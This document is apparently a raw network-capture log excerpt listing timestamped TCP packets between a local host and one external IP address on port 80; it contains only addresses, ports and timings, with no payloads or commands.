Dec 7, 2024 08:43:41.930665970 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.930717945 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.930767059 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.931452036 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.931498051 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.931559086 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.931607008 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.932322025 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.932372093 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.932404041 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.932451010 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.933135986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.933186054 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.933247089 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.933295012 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.934007883 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.934056997 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.934134960 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.934186935 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.934844971 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.934895039 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.935095072 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.935144901 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.935668945 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.935715914 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.935771942 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.935818911 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.936506033 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.936554909 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.936606884 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.936655998 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.937338114 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.937386990 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.937407017 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.937450886 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.938209057 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.938256979 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.938334942 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.938384056 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.939038038 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.939090014 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.939157009 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.939205885 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.939898968 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.939944983 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.940001011 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.940047979 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.940737009 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.940784931 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.940838099 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.940884113 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.941570044 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.941625118 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.941658974 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.941708088 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.942461014 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.942504883 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.942537069 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.942586899 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.943249941 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.943298101 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.943356037 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.943397999 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.944109917 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.944156885 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.944262028 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.944308043 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.944950104 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.944998980 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.945173025 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.945221901 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.945782900 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.945832014 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.945902109 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.945950031 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.946630001 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.946682930 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.946770906 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.946819067 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.947505951 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.947551966 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.947726011 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.947771072 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.948297024 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.948343039 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.948402882 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.948450089 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.949202061 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.949249983 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.949301004 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.949348927 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.950001955 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.950047970 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.950099945 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.950143099 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.950870037 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.950917959 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.950994968 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.951044083 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.951688051 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.951735973 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.951823950 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.951874971 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.952548027 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.952598095 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.952658892 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.952706099 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.953351021 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.953399897 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.953480005 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.953528881 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.954205990 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.954261065 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.954325914 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.954377890 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.955074072 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.955132008 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.955233097 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.955281973 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.955882072 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.955928087 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.955993891 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.956042051 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.956751108 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.956803083 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.956887007 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.956928015 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.957576990 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.957623005 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.957696915 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.957741022 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.958425045 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.958467960 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.958543062 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.958585024 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.959309101 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.959358931 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.959417105 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.959462881 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.960136890 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.960176945 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.960256100 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.960295916 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.960969925 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.961016893 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.961078882 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.961122990 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.961806059 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.961850882 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.962012053 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.962054968 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.962665081 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.962708950 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.962763071 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.962805986 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.963541985 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.963589907 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.963659048 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.963701963 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.964345932 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.964389086 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.964463949 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.964507103 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.965241909 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.965286016 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.965485096 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.965528011 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.966044903 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.966089010 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.966207027 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.966253042 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.966955900 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.967001915 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.967016935 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.967056990 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.967732906 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.967782021 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.967818022 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.967859030 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.968565941 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.968619108 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.968673944 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.968714952 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.969398022 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.969451904 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.969460011 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.969527006 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.970208883 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.970257998 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.118386984 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.118453026 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.118597031 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.118649006 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.118649006 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.118736982 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.118777990 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.119420052 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.119467974 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.119498968 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.119539976 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.120214939 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.120260954 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.120297909 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.120343924 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.121073008 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.121118069 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.121149063 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.121187925 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.121920109 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.122009993 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.122056007 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.122759104 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.122805119 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.122878075 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.122926950 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.123581886 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.123631001 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.123714924 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.123761892 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.124432087 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.124476910 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.124502897 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.124552011 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.125286102 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.125333071 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.125401020 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.125493050 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.126157999 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.126209974 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.126246929 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.126291037 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.126972914 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.127022028 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.127058983 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.127099991 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.127823114 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.127871037 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.127944946 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.127984047 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.128664017 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.128724098 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.128727913 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.128767967 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.129504919 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.129553080 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.129687071 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.130333900 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.130384922 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.130425930 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.130472898 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.131184101 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.131230116 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.131292105 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.131331921 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.132000923 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.132045984 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.132117033 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.132167101 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.132859945 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.132908106 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.132977962 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.133022070 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.133728027 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.133841038 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.133883953 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.134576082 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.134622097 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.134702921 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.134751081 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.135425091 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.135473013 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.135535955 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.135582924 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.136236906 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.136282921 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.136351109 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.136396885 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.137094975 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.137151003 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.137202978 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.137249947 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.137918949 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.138036013 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.138082027 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.138807058 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.138854027 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.138904095 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.138955116 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.139609098 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.139656067 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.139760017 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.139811993 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.140492916 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.140539885 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.140614986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.140660048 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.141304970 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.141360998 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.141413927 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.142189980 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.142241955 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.142299891 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.142343044 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.142987013 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.143035889 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.143155098 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.143197060 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.143836021 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.143883944 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.143948078 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.143995047 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.144669056 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.144717932 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.144778013 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.144826889 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.145567894 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.145620108 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.145682096 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.146410942 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.146456003 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.146521091 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.146565914 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.147219896 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.147268057 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.147329092 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.147373915 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.148067951 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.148112059 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.148175955 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.148220062 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.148932934 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.148977995 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.149010897 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.149058104 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.149749041 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.149857044 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.149904013 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.150577068 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.150623083 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.150707006 CET	80	49759	185.215.113.206	192.168.2.5
